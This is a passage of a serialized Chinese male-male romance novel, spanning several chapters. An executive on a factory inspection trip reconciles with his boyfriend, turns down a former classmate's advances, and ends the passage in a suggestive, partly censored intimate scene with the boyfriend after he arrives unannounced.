“我想问的是为什么没处理?”
工厂负责人伸手擦了一把冷汗,心里惴惴不安,以前也不是没遇见过这类情况,可从没见沈助这副模样——看得出来是压着火。
脸上划下一滴雨水,工厂负责人脸色一变,连忙解释道:“是我的问题,没安排检查到位。”
沈垣之闻言没多说什么。
工厂负责人见状也不敢再说什么,两人出了电梯,一前一后来到了仓库门前,沈垣之放眼四周该收拾的都已经收拾了,眉心渐渐展开了些。
新产品研发有一段时间了,前几天正式投入批量生产,这会儿还有人加班。
“哎陈厂长,你请假回来了?”
沉默之际,一道声音从两人身侧传来,沈垣之顺着声音望过去,说话的是位上了年纪的阿姨,她身穿着工衣,笑容很淳朴。
估计是不认识沈垣之,扫过一眼后,压下眼底的惊艳,很快将视线重新移回到陈厂长身上:“听说你老婆最近生了呀,恭喜恭喜。”
陈厂长看了眼沈垣之,笑着小声说了句谢谢。
大概是想为自己辩解,和阿姨交谈中,陈厂长有意无意地透露出这几天请假的事实,沈垣之听到了,心里那点气渐渐消了下来。
例行消防检查发现问题本来就不是多大的事,只是沈垣之心情不好,迁怒了他而已。
仓库检查完之后,沈垣之和陈厂长又跑了很多地方依次检查,期间手机震动了好几下,沈垣之看了两眼,有席殃的,视线很快跳过,没看。
还有小琪的。
手指一顿,沈垣之点了进去。
小琪说宠物店老板要她转达,这几天小猫不能吃猫粮,只能喝羊奶。
沈垣之一愣。
他都忘了这回事。
听这语气,小猫估计是被接回来了。
还能有谁接。
沈垣之眼底思绪翻涌,眉心松动了些。
简短的回了句“嗯”,沈垣之按了熄屏,刚和员工沟通完的陈厂长回头一看,对上沈垣之视线后,悬了一天的心很快落回了原地。
谢天谢地,领导终于不再绷着脸了。
不知道陈厂长想了些什么,沈垣之很快又专注于工作里,新厂房占地面积很大,巡查起来是个苦差事,等他前前后后都检查一遍后时间也不早了。
陈厂长早安排好了酒店,沈垣之本没想让他送,但他昨晚没睡好,今天一整天神经紧绷着,不久前情绪又失控,刚刚又走了近两个小时的路。
这会儿实在太累了。
将车钥匙递给陈厂长,沈垣之说了声谢谢,一上车沾到靠背就睡着了。
他思绪重,虽然嘴上放了狠话,但心里还是记挂着席殃,睡觉睡得不太踏实,半梦半醒中听到了陈厂长接了通电话。
电话那头是个女声,声音有些哑,抱怨着为什么这么晚了还不回家,说孩子一直哭她没法睡觉。
陈厂长有意压低了声音,连说了好几句对不起,说还在忙,说工作没做好,领导来了,挨批了,等等就回家,问她要不要吃宵夜,等会回去了他照顾孩子。
沈垣之睫毛一眨,彻底醒了。
让他疑惑不解的问题在这个时刻突然有了答案,沈垣之明白自己想要什么了,他从始至终要的只是席殃的态度而已。
和爱人分享生活中的挫折,尽管在席殃看来只是芝麻蒜皮一点小事,这样的态度而已。
到了酒店,沈垣之没让陈厂长继续送上去,他主动宽慰了几句,在陈厂长感激的视线下进了电梯。
开门,脱衣,洗澡。
顶着湿漉漉的头发,沈垣之没了睡意,落地窗外今夜无月,天边是一望无际的黑暗,他望着窗外有些出神。
不知不觉中没那么生气了,反倒竟开始难受,尽管他知道,席殃确实如他所言做出了改变,但沈垣之还是难受。
为自己放下的那些狠话。
他是个心软的人,尤其是在面对席殃的时候。
更何况席殃还生着病。
一想到这,沈垣之的心就像千万根针扎着一般密密麻麻的泛着疼,但又想到席殃竟然连心疼的权利都不愿意给他,沈垣之又觉得他活该。
翻来覆去地想着,酸楚和恼怒在心里来回拉扯,沈垣之难受得直发颤,直到放在一旁的手机响了起来。
看着屏幕上那两个字,沈垣之突然安静了下来。他难受了这么久,就像是在等这通电话一般。
没再挣扎,他接通了电话。
席殃像是没想到他会接通,因而沉默了一会儿,听着压抑的呼吸声,沈垣之也渐渐放缓了呼吸。
“到酒店了?”
没想到说的是这么一句话,沈垣之许久才“嗯”了声。
“洗完澡了吧。”
沈垣之又嗯了声:“你在我身上安监控器了?”
席殃低笑了声:“没。”
“我看你的微信步数没更新了,猜的。”
沈垣之一愣,想到席殃抱着手机刷新微信步数的样子,眼底泛起几不可查的温柔。
“小猫我接回来了,很可爱。”席殃声音很轻,隔着电话一寸寸充盈着沈垣之空荡荡的心。
沈垣之没说话,他在等。
沉默了许久,电话那边又说:“小猫还不认人,给他喂奶的时候抓了我一下,拇指疼。”
沈垣之语气很淡:“你和我说这些干……”
“想让你心疼我。”
心猛地一颤。
没等沈垣之反应过来,席殃的声音从电话那边传了过来:“不敢再把你撇在一边,喜欢你控制不住想亲近你,不是为了泄//欲,全世界就只有你有资格参与我的生活,想你心疼我。”
“好的坏的,大的小的,以后全都和你分享。”
“沈垣之,”电话那头语气一顿:“我知道错了。”
第56章 第 56 章 “想你了。”
短暂的沉默里, 裹挟着电流的每一次呼吸声刺激着沈垣之心脏的每根神经,跳动、加速,撞击胸腔, 一次又一次,是那么的清晰。
握着手机的指节因发烫而轻轻颤抖,干涩的眼周因久望远处而有些模糊, 沉默之际,一颗水滴忽然从湿漉漉的头发尖落了下来,在地上砸出一圈水花,和沈垣之此刻的心跳奇妙的形成共鸣。
沉默了不知道多久, 席殃终于等急了。
他喊小圆, 问他有没有听到。
压下眼底涌动的情绪,沈垣之语气尽量保持平静:“听到了。”
或许是伪装得不够彻底,席殃听到他的声音很快就松了一口气,然后如释重负般低笑了一声, 挟着电流一同传来,听得沈垣之头皮一阵发麻。
心脏因为席殃的示弱而生出欢喜,而又恰恰正是因为他的示弱又生出酸楚, 两者互相拉扯, 在这个名叫沈垣之的容器里妄想争出个高低。
说不出的滋味。
像悬在心里的石头落地, 同时, 又伴随着新的不安, 沈垣之没怀疑席殃话的真伪,但转变得太快——
之前为了讨好他,席殃连主动送上来玩的事都能做到,现在说的这些话说不定只是安抚他的缓兵之计。
不过很快,沈垣之停止了这种想法。
就算是缓兵之计, 那又怎么样。
他要就是席殃的态度。
这样想着,沈垣之眉间的阴郁散了一些,但心里还是有些不开心,他抿了下唇,问:“吃了药没有?”
“嗯。”席殃很快回答:“吃了。”
“行。”沈垣之语气很淡:“那你早点休息。”
电话那头没说话。
“我挂电话了。”
“不要。”席殃低声哼哼:“小圆,你别生我气了好不好?”
语气很轻,是在示好。
沈垣之虽然不是很想理他,但也没到熟视无睹的地步,他“嗯”了声,没带什么情绪地说:“没生气。”
席殃显然不信,低声缠着他说话。
“我刚刚说的话都是认真的。”席殃的声音从电话那头传来:“我知道你可能……”
“我信你。”沈垣之打断道:“但这些事等我回来你再跟我说,我不想隔着电话听。”
席殃语气一顿,嗯了声,片刻后他转移话题道:“今晚下雨我一回家就把水培植物移回来了,还给小猫喂了羊奶,洗澡之后换了新床单,吃了药,现在躺在床上和你聊天。”
听着席殃在电话那头传来的声音,沈垣之眉间一松,眼眸里划过几不可查的温柔,他默不作声地拉上了落地窗,点开了扩音,将手机放在一旁,躺在了床上。
听到他的动静,席殃轻笑了声随后低声在电话那头说着流水账,声音不急不缓,可能是今天烟抽多了有些哑,隔着电话在安静夜晚显得格外低沉,莫名地催人入眠。
劳累过度的沈垣之没一会儿就闭上了眼,均匀的呼吸声顺着电话传了过去时,电话那头声音很快停了下来,片刻后席殃在那头低声叹了口气:“不亲亲我就睡觉。”
趁着沈垣之睡着了听不到,偷摸凶他:“再生气也不能随便提分手知道吗?”
睡梦中的沈垣之听到他的声音下意识轻哼了声。
席殃声音立马低了下来:“晚安,宝宝。”
——
一大早,沈垣之是被微信电话吵醒的。
眯着眼看向天花板,缓了许久才回过神来,电话那头是陈厂长,声音非常焦急,语速飞快地说着话,什么医院,孩子,请假。
沈垣之听了好大一会儿才明白是什么事。
大概就是昨晚吃了夜宵后他爱人突发不适,连带着孩子也跟着拉肚子,连夜住了院。
沈垣之很快清醒了过来,听着陈厂长略带哭腔的声音,他皱眉安抚道:“现在小孩怎么样?”
“吊了一晚上水,现在还有点拉肚子。”陈厂长声音很沮丧:“我也不知道就吃个夜宵会发生这样的事。”
小孩应该是吃了奶才会受病毒感染。
这才多大。
沈垣之实在不知道该说他什么好,不过事已至此,也只好宽慰了几句:“你现在正常走请假流程,今天就安心在医院陪着老婆孩子。”
“那今天消防复检……”
“我来。”沈垣之打断道。
陈厂长一顿,连声说了好几句谢谢。
沈垣之没多说什么,挂了电话,他下意识地往床头柜抓了一下,很快就抓了个空——
沈垣之容易过敏,一觉起来喉咙都是干的。
这些天每次醒来床头柜旁都有席殃准备的蜂蜜水,温热的,甜度适中。
看着空荡荡的桌子,沈垣之愣了愣,偏头看着手机沉默了一会儿,他昨晚不知道是什么时候睡着的,但半梦半醒中还听见席殃的声音了。
眼皮轻阂,沈垣之很快下了床。
进了浴室刷牙洗脸,沈垣之盯着镜子里自己有些红肿的眼睛看了半天,他来得急,剃须刀没带过来,下巴尖儿冒出来些青色的胡茬。
他毛发少,胡茬长出来也是软软的,席殃和他不一样,扎人,沈垣之说他还笑,两人一起洗漱的时候席殃总捧着他的脸蹭蹭,故意扎他。
想到这,沈垣之眉目间含上了几不可查的笑意。
有点想他了。
没出息。
思绪一顿,沈垣之板着脸在心里暗骂了一声。
捧了一捧凉水将刚冒出头的思念洗尽,还有些生气的沈垣之很快换了身衣服出去,按了客服服务将衬衣送去干洗,顺便续了房。
消防估计得下午才能来,检查不知道什么时候才能结束,沈垣之看着外面阴雨连绵的天气,心里渐渐开始发愁。
不会今天回不去吧。
像是验证他的想法般,天倏然暗了下来,雨很快就落了下来,沈垣之站在落地窗前看着雨有些走神,没一会儿放在床头柜上充电的手机就震动了一下,是微信消息。
这时候估计也只有他了。
沈垣之眉心松了几分。
【席殃:早上好。】
没立刻回,沈垣之往上划了下屏幕,席殃昨晚给他发了很多消息。
【席殃:到了吗,沈垣之,到了回我消息。】
这大概是在沈垣之昨晚刚下高速的时候发来的,席殃连名带姓叫他,估计是在生气。
沈垣之勾了下唇角。
【席殃:不用回我了,知道你到了。】
发完这条消息后席殃还拍了拍他,沈垣之没理,等了半个小时后,态度明显软了下来。
【席殃:小圆,我去接猫了。】
【席殃:它和你一样可爱。】
又过了半小时。
【席殃:忙不忙,理理我。】
又又过了半小时。
【席殃:(推荐名片:erin)】
【席殃:你好,这是我的心理医生。】
又又又过了半个小时。
【席殃:宝宝。】
看到这,沈垣之很快笑出了声,视线落在那张被推过来的联系名片上,眼眸一沉,压下没来由的情绪,沈垣之很快备注好来意加了医生的微信。
国内外有时差,一时半会儿估计通过不了。沈垣之盯着屏幕渐渐有些走神,手机那头的席殃像是和他有心灵感应般,下一秒就发了消息过来。
【席殃:233】
沈垣之还记得这个,脑海里自觉地浮现出席殃凑过来亲他的样子,心里也没那么难受了,但沈垣之也不想那么快就和他和好,他是真的很生气,很难受。
但也不想故意晾着他了。
斟酌片刻后,沈垣之回复道。
【吵。】
席殃立马就回了消息。
【席殃:宝宝,我手疼。】
消息刚发过来,一张图片也映入眼帘。
沈垣之点开放大看了半天才在指尖不起眼的地方看到一点猫的抓痕,沈垣之不想理他,转移了话题。
【沈垣之:看看猫。】
这会儿席殃没秒回了,沈垣之也不心急,按照常例给黎炫发了每日报告和再次确定他后天的行程——一中周年庆。
黎炫还是没时间,让他按之前的计划安排。
沈垣之回了声好的,退出和黎炫的聊天框,点开了冯沅的头像,将周年庆的文件发过去后,手机震了一下。
席殃发消息过来了。
沈垣之噙着几分笑意点了进去,在看到屏幕里人和猫的合影时他眼眸颤了一下。
席殃这张照片选的角度、光线都很好。
只见他双手捏着小三花的两只粉爪子,下巴轻轻抵着小猫的头,席殃头发没向后梳着,眉眼含笑,比平时少了分凌厉,他对着屏幕很轻地勾着唇角,被他“挟持”的小猫竟也十分配合,小小的脑袋没骨头似的歪在一旁,大大的眼睛里露出几分好奇。
画面十分温馨,男人十分养眼。
【席殃:给你看猫。】
忽视跳得过快的心跳声,沈垣之面无表情按了保存。
【沈垣之:嗯。】
【席殃:好看吗?】
沈垣之抿了一下唇。
【沈垣之:很一般。】
【席殃:人呢?】
沈垣之眼眸里瞬间噙满了笑意,他靠在床边,勾着唇打字回复。
【沈垣之:说的就是人。】
席殃很快发了个叹气的表情包过来。
没等沈垣之回复,他又发来了消息。
【席殃:小猫托我问你什么时候回家,有一个“很一般的人”说他想你了。】
第57章 第 57 章 “老婆老婆老婆老婆。”……
盯着屏幕, 沈垣之很轻地勾起了唇角。
他没有第一时间回复席殃,反而转头看向了窗外阴雨连绵的天空,雨天路滑交通估计会有管制, 加上没确定消防检查的时间,沈垣之给不出回答。
最主要的是不太想让席殃得逞。
他惯会凭那张脸讨乖。
不过见席殃状态这样好,沈垣之心里一直隐隐担心的感觉消散了些, 退出和席殃的聊天框,准备给小琪安排工作时他的手指停在了那个尚未通过的医生头像上。
雪景。
森林。
坐在藤椅上模样俊秀的混血男人。
后知后觉的,沈垣之想到了席殃朋友圈的那张背景图,他眼眸微愣, 很快点开放大来看, 果真还是同一个地方。
拍照的角度也很像,不过给席殃的构图会好看些,应该是这位医生的杰作,只不过给这位医生就像是随手拍的, 脸都看不太清楚,很席殃的风格。
背景图怎么来的终于得到了答案。
不过这两人算什么回事,情侣照吗?
沈垣之冷哼一声, 明知道大概率不是他想的那样, 这个时候也实在不适合想这些, 但心里还是止不住发酸——
席殃生病的时候, 是他陪着的。
好几年。
很烦。
沈垣之又开始窝火, 退出微信面无表情点开邮箱,回了几条工作消息后,他冷着脸,抱有目的地重新切进了微信。
只是席殃不知什么时候又发来了消息。
问他今天忙不忙,什么时候回去。
本来是想说“不回家”的, 但看到屏幕里席殃和猫猫的照片后沈垣之又不自觉地改了措辞。
【沈垣之:忙。】
【沈垣之:得看情况。】
美色误我。
沈垣之冷脸叹气。
消息刚发过去他就想撤回,奈何席殃就像是守在手机旁,立马回了消息过来。
【席殃:好。】
【席殃:你回来的时候要跟我说一声。】
心里依旧介怀,沈垣之不想理他。
席殃像是知道他怎么想的,很快就发了条语音过来,沈垣之没什么就防备地点开了。
“老婆,好不好,老婆,求求你了……”
黏糊糊的男声从手机里跑了出来,十分不要脸地钻进了沈垣之的耳朵,完全没想到席殃大白天也能这样,始料未及的沈垣之听得耳尖一红,很快按了停止。
盯着屏幕,他近乎恼羞成怒地打字。
【沈垣之:席殃,我还在生你的气。】
意思就是让他好好说话,别说这些有的没的。
料到他会这样说,席殃又立马发了语音过来,有些硬气道:“那你再生气也不能彻夜不回家。”
他语气一顿,又用示弱的口吻说:“老婆,我昨天没睡好,没老婆抱着睡,我一点都睡不好。”
声音又低又哑,十分黏糊,显然又是在撒娇。
沈垣之心跳得很快,脸红得非常可疑。
俗话说得好,伸手不打笑脸人,更何况他就吃席殃这套,所以即使是还有些生气的情况下,沈垣之也压根控制不住心里渐渐泛起的涟漪。
心里很愁,又忍不住开心。
沈垣之觉得自己这辈子也就到这了。
都怪席殃。
恼羞成怒,气急败坏,又拿他没什么办法,毕竟沈垣之不可能真和他生气,昨天已经够了。沈垣之觉得席殃真是可恶,他恨恨地磨了一下牙,想说些什么话以证自身威严,但想了想还是算了。
和不讲道理的人没法讲道理。
存了心忽视他,沈垣之丢开手机,不再理席殃了。
——
一整天都很忙。
不知道是谁传了消息出去,有两个合作了很多次的甲方助理闻着味就往这边来了,说是要来观摩新厂。
沈垣之自然拒绝不了。
只是没想到他人都不在公司换个地方竟然也有得忙,确定了消防检查复检时间是在下午,因此观摩的时间只能安排在上午,好在那两位助理都相识,和沈垣之关系也算密切,最重要的是两家公司不是什么竞争关系,比较好安排时间。
巡视厂房,了解生产工艺,从普通车间一直介绍到新开发的无尘车间,带着两位大规模的巡视了一圈后不知不觉已经到了中午,沈垣之找了家粤菜餐馆,用餐期间聊到了一中那个项目——
“我听说最后是你们呈声拿下来了,恭喜恭喜。”
对方祝福的落落大方,不久前合同也已经签了下来,因此沈垣之并没有过多谦让,以茶代酒碰了下他的茶杯,笑着说了声多谢。
“听说是新来的项目经理拿下的?”对方问。
沈垣之眼皮轻轻抬了抬。
“是咧,”没等他回答,另一个助理抢答道:“昨天我还看见他了,和我们老板谈外包项目。”
他“啧”了下:“谈吐非凡,酒量很好,”想了想,又夸道:“英年才俊。”
沈垣之抿了下茶,嘴里品出一丝甘甜。
“这么神?”
“嗯。”这位助理应了声:“你看沈助理都表示认同的笑了。”
沈垣之挑了下眉,没反驳。
“那我恰好错过了。”引出话题的助理无不遗憾:“我来之前我们老板刚好和我一起出来,说是要赴呈声的约——”
扫了眼四周,他叹气道:“当领导的也逃不了应酬,一年四季都忙啊忙。”
沈垣之收起笑意,难得想附和。
确实好忙。
而且席殃提了离职,估计这段时间除了要安排手头的工作之外,还要找时间整理、交接工作,估计他会比他更忙。
两人本就没时间谈恋爱,实在不应该浪费在生气上。
沈垣之心一沉,他想回家了。
三人用完餐后互相告别,想回家的美好愿景没支撑半小时,沈垣之甚至还没来得及喘口气,新厂就有人打电话过来了。
说是检查人员到了。
沈垣之揉着来不及消化的胃回了声嗯,立马开上了车。
他找的餐馆离厂区不远,厂区偏市区,又值中午休息的时间,再怎么快也要半个小时的路程。
沈垣之全神贯注地开着,速度比以往快了不少,由是这样,等到了新厂时,检查人员早就开始检查工作了。
在背后注视着穿着制服的检查人员,沈垣之和一旁的临时负责人对了下脸色,对方笑着摇摇头,估计没多大事。
沈垣之松了一口气。
昨天他陪着重新检查过,其实也不用太担心,只是沈垣之想快点结束而已。
天不知什么时候暗了下来,看起来又会有一场大雨,沈垣之心里发愁,边念着想回家想回家,边祈祷着检查快点结束。
没等他继续念叨,检查人员中,有一个身着西装的男人举着伞朝他走了过来。
“沈垣之?”
略带疑惑的男声随着一同传来。
沈垣之皱眉。
对方很快抬了下伞柄,伞檐下是一张难掩惊喜的脸,像是能在这里看到沈垣之而感到意外万分。
出于礼貌,沈垣之仔细观察了下他。
不认识。
没印象。
“我是孙皓文。”男人并不介意,他将伞倾斜了过来:“你不记得我了?”
沈垣之说了声不好意思。
“高中同学。”孙皓文扶着眼镜笑了一下:“你高一的同桌。”
捕捉到某个场景,沈垣之迷茫的眼神很快愣了一下:“你好。”
孙皓文也说了声你好。
没等两人再说些什么,有个穿着制服的男人很快跑了过来,他先是打量了下沈垣之,又看向孙皓文:“孙队,有个地方可能有点问题。”
沈垣之很快看了过去。
孙皓文注意到他的视线,他收起笑容:“过去看看。”随后语气一顿,看向沈垣之:“一起?”
沈垣之点点头。
几人围过去看了看,问题不算是个大问题,就是临时搭建的塑料房檐上放了几个固定木材,承重可以,不过上方搭了几根电线,稍不注意容易引起电火。
昨晚天太黑,沈垣之没注意到。
“除了这个,其他有问题吗?”孙皓文问。
“没了,”汇报的人摇摇头:“就这个。”
沈垣之松了一口气。
“那就带队回去吧。”
说完孙皓文转身看向沈垣之:“没多大事,等雨停了你安排人抬下来就行。”
看他没记,沈垣之点点头,由衷地感谢:“谢谢你。”
孙皓文对他笑了一下。
等彻底检查完是在一个小时后了,检查人员很快集合在一起,出于礼貌,沈垣之也在后面跟着,等他们离开前,孙皓文突然举着伞折返了。
“老同学,今晚有时间一起吃个饭吗?”
沈垣之一愣,眉头微微皱了皱。
如果是其他人帮了这个忙,请吃饭都是小事,沈垣之一定会答应,只是这人……
要是没记错,高考之后,孙皓文向他表过白。
这就不合适了。
但孙皓文像是没看出他的拒绝,在众人的目光下又问了一次:“方便吗?”
他语气一顿:“有事相求。”
想到刚刚检查的事,沈垣之点了点头。
——
时间约在六点。
沈垣之赴约之前点开了微信,席殃今天估计也忙的够呛,忙里偷闲给他发了几条消息,无一例外都是在问他什么时候回家。
沈垣之一看就发愁,一愁他的胃就更不舒服了,大概是这两天气候变化大,胃口不好,加上情绪波动,胃病有点复发了。
吃了粒常备的奥美拉唑暂时缓解,沈垣之点开导航,给席殃发了语音,声音也不再冷淡了,语气里噙着十足的委屈。
【沈垣之:说不准。】
【沈垣之:还有点事没处理完。】
发完消息后没多久就到了约定的地方,沈垣之下车时愣了一下,他刚刚没仔细看约定的场所,没想到竟是家西餐厅。
沈垣之眉头皱得很深,心里的不适感更严重了些,没等他琢磨个明白,身后传来了孙皓文的声音。
“沈垣之。”
闻声望去,孙皓文显然是精心打扮过,发胶打的很亮,五官虽不算丑,但太刻意,不是很让人舒适。
沈垣之压下情绪,和他打了声招呼。
两人隔着一段距离,一前一后进了西餐厅。
随便点了点吃的,沈垣之先是就今天检查的事表达了谢意,又主动询问有什么能帮的上忙的。
坐在他身前的孙皓文只是笑。
沈垣之皱了皱眉。
“没多大的事,”察觉到他的情绪,孙皓文不急不忙道:“就是想问问后天的周年庆你会不会去,前几次我都没看见你。”
没什么表情看了他一眼,沈垣之客气道:“会的。”
“那就好,”叹了口气,孙皓文笑着看他。
两人一时沉默。
西餐厅里钢琴声悠扬,窗外雨声不断。
都成年人了,沈垣之大概知道孙皓文是什么想法,有点别扭,想拔腿就走,又觉得好笑,没想到他魅力这么大,只是出个差而已。
看了眼毫无动静的手机,沈垣之勾了下唇角,开始替席殃着急。
喂喂喂,这位大忙人,有人要追你老婆了。
许是看到沈垣之唇边的笑容,孙皓文松了口气,在服务员送完餐后,他切着牛排试着开口:“我没想到会在这遇到你,有些意外。”
沈垣之也说:“我也有点。”
孙皓文闻言笑了一下:“之前来检查没看到你。”
“我没在这工作,”沈垣之不爱吃生食,只抿了口柠檬水:“这次是临时出差。”
“嗯。”孙皓文点点头,他放下刀叉,缓了一口气:“我……”
话没落音,放在一旁的手机震了一下,沈垣之偏头去看,是新厂临时负责人发来的,说是又来了位领导。
沈垣之疑惑地皱了下眉。
心想这么晚了不会还有甲方来吧,沈垣之让他先应付着,想快点结束饭局,他对孙皓文说了声抱歉:“继续。”
“我想问你目前是单身吗?”没过多思考,孙皓文笑了笑,并不扭捏:“想问问我还有没有机会。”
“不是。”对他的直白感到意外,像是想到了什么,沈垣之露出了笑,认真回答:“有对象了。”
孙皓文盯着他的笑容,意识到这不是托辞,也很快释怀地笑了下,调侃道:“好吧,那真是太可惜了。”
收起之前的偏见,沈垣之也对他笑了笑,经过这一茬后,这顿晚餐最后吃的还挺轻松。
在门口告别,沈垣之的车停得有些远。
“我送你过去?”
孙皓文将伞往他头顶移了移。
没等沈垣之拒绝,一道略带情绪的男声从不远处突然传来,隔着雨声听得依旧真切。
“沈垣之。”
沈垣之一愣,顺着声音望去,只见此时此刻不应该出现在这里的席殃打着伞倚在他车旁,目光触到那偏移的雨伞时,很快移开。
随后又很不开心地移了回来。
唇抿得很紧,本就没什么表情的脸在雨夜里干脆一点人情味都懒得施舍,凛冽,冷酷,气势十足。
压下心中巨大的欢喜,见着他一步步朝自己走来,沈垣之很轻地笑了声——
怎么办,他的男朋友看上去快要气疯了。
第58章 第 58 章 “我肚子要炸了。”……
雨下得不是很大, 天也不是很黑,就是走过来的那人脸色有些不太好,罕见地板着脸, 一双眼直勾勾地看着他,泛着冷光的皮鞋停在了离沈垣之几米之外,一副“你不过来我就让你好看”的样子。
双目对视, 沈垣之很轻地笑了。
注意到沈垣之的表情,站在台阶上的孙皓文一愣,略带诧异地顺着他的视线望去,没等看仔细, 这会儿突然心情变得很好的沈垣之对他说了声谢谢, 之后便笑着往那人走去。
“雨……”
孙皓文的话未落音,便看见一把黑伞罩在了沈垣之头上,接着一只手极其自然地搭在了他的肩膀,由上而下, 一寸寸划过,最后放至腰侧,几不可查地搂了一下。
这样光明正大地搂着, 一看就是怎么回事。
沈垣之找的对象竟然是男的?
孙皓文目光一怔, 一时没反应过来。
被搂着走的沈垣之像是想到了什么, 回头和他说了声“再见”, 孙皓文还没开口说话, 沈垣之旁边那人就停了脚步,看上去是因为沈垣之说的那句“再见”而生气,不肯走了。
哪找的男人这么小气?
盯着那人冷峻的侧影,孙皓文眉头皱得很紧,没等他继续吐槽, 就看见沈垣之笑着对那人说了句什么,那人看样子还是在闹脾气,不为所动,依旧板着脸。
可当沈垣之要牵他时,却又很主动将手递了过去,十指相握,两道身影越来越远,很快就消失在孙皓文视线之外。
——
“你这样很没礼貌。”
席殃绕到驾驶座小心护着沈垣之上车不让他淋到雨,然而冷不丁听到这话时,一口气差点没提上来。
他眯了一下眼,本就冷峻的神情此刻显得格外危险:“你说什么?”
沈垣之心里美滋滋地,一见他就想笑,压根就不怕他。
顶着那道冷冰冰的视线,沈垣之伸手捧着他的脸揉了揉,声音带着点鼻音,小声说:“别人请我吃饭,你当我男朋友的,连个招呼都不跟别人打,是不是没礼貌?”
席殃闻言看着他,唇抿得很紧,显然被气得不轻。
沈垣之见他这样心里更是乐开花了,先不说两人闹着别扭还没和好,还以为今天回不去了,结果这人就默不作声追来这里给了他好大一个惊喜,看上去又像是快要在乎死他的样子。
沈垣之心里暖暖的,也偷摸憋着坏,就想想方设法逗席殃,让他也吃吃他昨天生气的苦。
“生气呀?”这样想着,沈垣之眯着眼轻轻拍了拍他的脸,不怕死地说:“谁叫你不提前跟我说,要是我知道你今天来的话,我就带人换个更隐秘……”
话没落音,席殃眼眸一沉,扭头就要走。
“哎。”沈垣之连忙伸手拉住了他,席殃的手沾了雨水,很冷,袖口也有点湿了,不再开玩笑,沈垣之声音软了些:“你去哪呀?”
“回家。”
席殃说了第一句话,只不过声音冷冰冰的。
“那不行。”沈垣之不让他走:“我还没找你算账呢,你自己送上门来了还想回去?”
席殃闻言眼眸一沉,像是听到什么天大的笑话一样看他:“你找我算账?”
“嗯。”沈垣之毫不心虚地点点头,示意他坐到副驾驶来,隔着雨声,声音显得有些暧昧:“我们去酒店算算账。”
席殃呼吸瞬间一重。
“快点,”沈垣之玩着他的手指,一下一下蹭着他:“有什么事我们床上说。”
——
没开灯。
打扫过的房间里有股消毒水的味道,没拉上的窗纱被风吹起一股雨后的清新扑面而来,呼吸灯敬业地闪着光,同样敬业的门忽然被很重地从外打开。
黑暗中,两道身影带着唇齿间缠绵的水声,相互纠缠着走了进来。
早上用来放行李的玄关柜受重力后嘎吱一声,等沈垣之反应过来时,已经被席殃单手抱在了柜子上。
“唔……”
没等说话,下巴就被灼热的手抬了起来,被迫昂着头,沈垣之呼吸还没调整过来就被亲住了嘴唇,这次的吻却很轻,像是故意克制着,没用什么力,就一下下磨着。
很温情,但又隐隐压抑着什么。
习惯了刚刚在车里激烈的吻,湿润的,缠着席殃的舌头,吻着他独有的味道,光是这样一想,沈垣之就有些受不了。
感受到席殃睫毛划过脸上的肌肤,那传递到心底里的痒意让他控制不住,过电似的喉结一滚,双目对视,在越来越缠绵但又似有若无地吻里,沈垣之撑着柜子,主动昂起头吻了过去。
他心里有股热,有股挥之不去的痒,想让席殃亲亲他,再亲亲他。
可好不容易加深了这个吻,感受到席殃唇里的香烟味,沈垣之呼吸一重,刚伸出舌尖,席殃就往后撤了一下。
眼眸里尽是克制。
沈垣之这才注意到席殃的手规规矩矩地放在他身侧,不像以前那样总色//情地揉他的屁股。
知道他在想什么,沈垣之故意拿小腿蹭他的腰侧:“干什么?”
借力直起身亲他:“不给亲?”
席殃压根就没想躲,被沈垣之一口一口亲着,没一会儿就伸手攥紧了一直蹭他的小腿肚,隔着西装裤将腿往两侧拉开了些,席殃面无表情地挤了进去。
席殃直勾勾地盯着他,片刻后,他开口道:“不是为了泄//欲。”
双目对视,沈垣之心里划过一丝暖流,他点点头:“嗯。”
没等席殃开口说话,沈垣之哑声道:“你现在干点正事可以吗,这些事就不能等会儿再聊吗,我……”
“你让别人敷衍我‘喝杯茶,再喝杯茶’,然后自己去和别人吃晚饭。”席殃显然不会这么轻易放过他,昂起头不让沈垣之亲,想了好久,他又说了一句:“我开了好久的车来找你。”
沈垣之噗呲一下就笑了:“我不知道是你呀,他们只跟我说来了领导,你又不提前跟我说。”
像是想到了什么,他低声哼了句:“而且我还在生你气。”话刚落音,沈垣之便挣扎了下被攥着的小腿,故作很凶:“放开!”
席殃立马就笑了。
将两条扑腾的腿牢牢地架在自己腰上,席殃扶着他的后脑勺不讲理地吻了下去,边吻边含糊道:“你生什么气,老婆,我都认错了。”
沈垣之这时候知道挣扎了:“我还没生完气……”
席殃大手很快揉上了他的腰,哑着声音,说沈垣之他之前说的话:“干点正事,等会儿再聊。”
边说着,边将舌尖抵了进来。
这下沈垣之除了被亲得哼哼,就说不出话来了。
黑暗里只剩下缠绵的水声,两人像是怎么也亲不够一样从玄关亲到了床上,昂贵的西装被脱在地上,价格不菲的衬衣也被揉皱,上面保不住脖颈和锁骨,下摆也保不住腰侧和胯骨。
所以让席殃有机可乘,沈垣之被亲着脖子,身体也被不老实四处乱摸,席殃到处亲,亲到被平放在床上沈垣之眼前全是一片雾,他喉结颤着,想哭,但喉结一滚就会被席殃咬住。
呼吸不过来,实在是被亲急了,沈垣之伸手抓席殃的头发,以示抗议。
□□焚身的席殃也不知道疼,让他抓着,等吻到沈垣之的大腿时,席殃像只蛇一样爬了上来,在他耳边哑声说:“没带那个。”
沈垣之被亲傻了,全身上下都很急,但依旧好面子:“那就不做。”
席殃亲他耳朵,低笑道:“我帮你。”
沈垣之没来得及阻止,被子里很快弓起一个弧度,被亲上的那刻只好抓着被子,红透的脸藏进了枕头里,不知道过了多久,他觉得浑身都湿透了,觉得真的可以了,正想说什么,席殃爬了上来。
黑暗里,他眼眸带笑,用“不知道怎么办的眼神看他”,像是很没有主意那样和他说话:“那个也没带。”
全程打着哑谜,可偏偏沈垣之都懂。
知道席殃想这个想很久了,沈垣之不想理他。
果不其然,席殃见沈垣之不说话,就故意蹭他,在他耳边低声呢喃:“求求你了,试一下。”
耳根都红透了,沈垣之扭过头。
席殃又凑了过去,急哄哄地叫着,毫不要脸地哼哼:“老婆,老婆,老婆……”
被他蹭的受不了,沈垣之又臊又怒地瞪他,只是他眼眸里含着水,看着,听着都没有什么杀伤力:“你非得我点头吗?”
席殃勾着唇角将他抱紧了。
房间里没了声音,窗外不知道什么时候又下起了雨,呜呜地风像是人的哭声,有些缠绵,又有些说不出的可怜。
